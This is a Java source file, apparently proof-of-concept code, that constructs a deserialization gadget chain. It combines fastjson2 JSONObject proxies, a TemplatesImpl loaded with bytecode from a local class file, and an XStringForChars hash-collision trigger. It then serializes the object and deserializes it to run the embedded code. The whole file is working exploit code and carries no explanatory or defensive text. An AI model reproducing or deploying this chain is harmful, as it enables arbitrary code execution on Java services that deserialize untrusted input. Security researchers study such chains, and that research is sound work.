1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
| package org.payload;
import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XStringForChars;
import org.payload.Reflections;
import javassist.ClassPool;
import javassist.CtClass;
import org.example.demo.Utils.MyObject;
import javax.management.BadAttributeValueExpException;
import javax.naming.spi.ObjectFactory;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","test");
byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
// System.out.println(Base64.getEncoder().encodeToString(code));
byte[][] codes = {code};
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Map map = new HashMap();
map.put("object",templates);
String className = "com.alibaba.fastjson2.JSONObject";
Object fjsonObject = newInstance(className, Map.class,map);
Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{MyObject.class}, (InvocationHandler)fjsonObject);
Object o = newInstance("org.example.demo.Utils.MyProxy", MyObject.class,proxy1);
Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(), new Class[]{Templates.class}, (InvocationHandler)o);
JSONArray jsonArray = new JSONArray();
jsonArray.add(proxy2);
// jsonArray.toString();
XStringForChars xStringForChars = new XStringForChars(new char[0], 0, 0);
setFieldValue(xStringForChars, "m_strCache", "111");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("aa",jsonArray);
map1.put("bB",xStringForChars);
map2.put("aa",xStringForChars);
map2.put("bB",jsonArray);
HashMap finalMap = new HashMap();
finalMap.put(map1,"");
finalMap.put(map2,"");
setFieldValue(templates,"_bytecodes",codes);
Serialize(finalMap);
Unserialize("ser11.bin");
}
public static void Serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser11.bin"));
objectOutputStream.writeObject(obj);
}
public static Object Unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
public static Object newInstance(String className,Class paramType,Object param) throws Exception {
return newInstance(Class.forName(className),paramType,param);
}
public static Object newInstance(Class clazz,Class paramType,Object param) throws Exception {
return newInstance(clazz,new Class[]{paramType},new Object[]{param});
}
public static Object newInstance(Class clazz,Class[] paramTypes,Object[] params) throws Exception {
Constructor constructor = clazz.getDeclaredConstructor(paramTypes);
constructor.setAccessible(true);
return constructor.newInstance(params);
}
}
|
